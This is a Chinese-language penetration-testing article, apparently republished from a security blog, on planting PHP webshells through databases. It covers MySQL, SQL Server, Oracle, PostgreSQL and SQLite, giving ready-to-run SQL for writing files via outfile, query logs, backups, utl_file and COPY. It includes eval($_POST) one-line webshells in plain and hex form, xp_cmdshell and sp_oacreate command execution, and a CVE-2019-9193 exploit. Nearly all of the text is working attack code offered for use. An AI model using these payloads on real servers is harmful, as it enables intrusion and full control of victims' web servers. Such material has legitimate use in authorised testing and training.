在渗透测试中,关于数据库的利用一般有以下两种思路:
1.暴力破解登录数据库
2.sql注入获得与数据库交互途径
webshell是一种以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,又称为网页后门,攻击者可利用其控制整个网站服务器。上传webshell时很关键的一步就是获取web的绝对路径,一般使用以下几种方法获取:
1.通过页面报错信息获取
2.通过读取web配置文件获取
3.cms默认绝对路径
4.通过搜索引擎获取
5.通过旁站目录获取
6.有相应的命令执行权限时还可以通过查找相关文件获取绝对路径,例如:
Windows:
for /r C:\ %i in (favicon.ico) do @echo %i
for %i in (c d e f g h i j k l m n o p q r s t u v w x y z) do @(dir/s/b %i:\favicon.ico)
Linux:
find / -name favicon.ico
1.利用outfile写入
利用条件:
1.数据库用户当前权限为root或拥有file权限
select concat(user,'/',file_priv) from mysql.user;
2.有Web目录的绝对路径
3.PHP的GPC参数为OFF状态
4.Mysql的secure_file_priv参数不能为NULL(mysql5.7版本以上默认为NULL)
show variables like "%secure_file_priv%";
利用过程:
1.union select 写入
确定注入点
union select "<?php @eval($_POST['hacker']); ?>" into outfile"C:\\webtest\\test2.php"#
union select 0x203c3f70687020406576616c28245f504f53545b2767275d293b3f3e into outfile"C:\\webtest\\test2.php"#
2.基于分隔符写入
limit0,1 into outfile "C:\\webtest\\test4.php" lines terminated by 0x203c3f70687020406576616c28245f504f53545b2767275d293b3f3e#
lines terminated 还可以更换为以下语句
fields terminated by
columns terminated by
lines starting by
2.基于general_log日志写入
利用条件:
1.数据库用户当前权限为root或file权限
2.有Web目录的绝对路径
3.PHP的GPC参数为OFF状态
4.开启全局日志
show variables like "%general%";
利用过程:
set global log_output="FILE";
set global general_log_file="C:\\webtest\\test5.php";
set global general_log=on;
select "webshell";
3.基于slow_query_log日志写入
利用条件:
1.数据库用户当前权限为root或file权限
2.有Web目录的绝对路径
3.PHP的GPC参数为OFF状态
4.开启慢查询日志
show variables like'%slow%';
MySQL的慢查询日志是MySQL提供的一种日志记录,它用来记录在MySQL中响应时间超过阀值的语句。
long_query_time的默认值为10,意思是运行10S以上的语句
利用过程:
set GLOBAL slow_query_log=on;
set GLOBAL slow_query_log_file='C:\\webtest\\test6.php';
set GLOBAL log_queries_not_using_indexes=on;
select "<?php @eval($_POST['hacker']); ?>" from mysql.db where sleep(10);
1.利用xp_cmdshell命令
利用条件:
1.有相应的db_owner权限
select is_srvrolemember('sysadmin');
select is_member('db_owner');
select is_srvrolemember('public');
2.有Web目录的绝对路径
利用过程:
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
EXEC master..xp_cmdshell "echo ^<?php @eval($_POST['a']);?^> > C:\\webtest\\test6.php";
sqlserver命令执行
1.xp_cmdshell
EXEC master..xp_cmdshell whoami;
2.SP_OACREATE
sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >C:\\webtest\\test7.txt'
2.利用差异备份写入
利用条件:
1.有相应的db_owner权限
select is_srvrolemember('sysadmin');
select is_member('db_owner');
select is_srvrolemember('public');
2.有Web目录的绝对路径
利用过程:
获取库名
Select Name From Master..SysDataBases Where DbId=(Select Dbid From Master..SysProcesses Where Spid = @@spid);
backup database test8 to disk = 'C:\\webtest\\test8.bak';
CREATE table testbak(cmd image);
insert into testbak (cmd) values(0x3C3F706870206576616C28245F504F53545B2770617373275D293B203F3E);
backup database test8 todisk='C:\\webtest\\test8.php' WITH DIFFERENTIAL,FORMAT;
3.利用log备份写入
利用条件:
1.有dbo权限
select is_srvrolemember('sysadmin');
select is_member('db_owner');
select is_srvrolemember('public');
2.有Web目录的绝对路径
3.至少备份过一次
利用过程:
alter database test8 set recovery full;
CREATE table test9 (cmdi mage);
backup log test8 to disk = 'C:\\webtest\\test9.php' with init;
INSERT into test9 (cmd) values(0x3C3F706870206576616C28245F504F53545B2770617373275D293B203F3E);
backup log test8 to disk ='C:\\webtest\\test99.php';
使用文件访问包写入
利用条件:
1.有DBA权限
select * from role_sys_privs;
2.有Web目录的绝对路径
利用过程:
/*创建一个ORACLE的目录对象指向web路径*/
create or replace directory IST0_DIR as 'C:\\webtest';
/*把读写权限授予system*/
grant read, write on directory IST0_DIR to system;
declare
isto_file utl_file.file_type;
begin
isto_file := utl_file.fopen('IST0_DIR', 'test10.php', 'W');
utl_file.put_line(isto_file, '<?php @eval($_POST["a"]);?>');
utl_file.fflush(isto_file);
utl_file.fclose(isto_file);
end;
oracle命令执行
工具:oracleshell
0x04Postgresql
1 .利用CVE-2019-9193高权限命令执行写入
CVE-2019-9193:在 PostgreSQL 9.3 到 11.2 中,“COPY TO/FROM PROGRAM”功能允许超级用户和 'pg_execute_server_program' 组中的用户在数据库操作系统用户的上下文中执行任意代码,并且此功能默认启用。
利用条件:
1.数据库当前用户为superuser或默认 pg_execute_server_program 角色的数据库用户
2.有Web目录的绝对路径
利用过程:
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'echo ^<?php @eval($_POST["cmd"]);?^> >> C:\\webtest\\test11.php' ;
SELECT * FROM cmd_exec;
postgresql命令执行
当遇到一些命令回显出现编码错误时,可以通过写无回显的bat文件执行命令
2.利用copy写入
利用条件:
1.数据库当前用户为superuser或默认 pg_execute_server_program 角色的数据库用户
2.有Web目录的绝对路径
利用过程:
方式1:
copy (select '<?php @eval($_POST["cmd"]);?>') to 'C:\\webtest\\test12.php';
方式2:
drop table webtest;
create table webtest (t TEXT);
insert into webtest(t) values ('<?php @eval($_POST["cmd"]);?>');
select * from webtest;
copy webtest(t) to 'C:\\webtest\\test13.php';
drop table webtest;
0x05SQLite
利用附加数据库写入
利用条件:
1.有Web目录的绝对路径
利用过程:
ATTACH DATABASE 'C:\\webtest\\test14.php' AS shell;
create TABLE shell.exp (webshell text);
insert INTO shell.exp (webshell) VALUES ('\r\n\r\n<?php @eval($_POST["cmd"]);?>\r\n\r\n');
监制:船长、铁子 策划:格纸 文案:Three1 美工:青柠
(来源:我是安服)
发表评论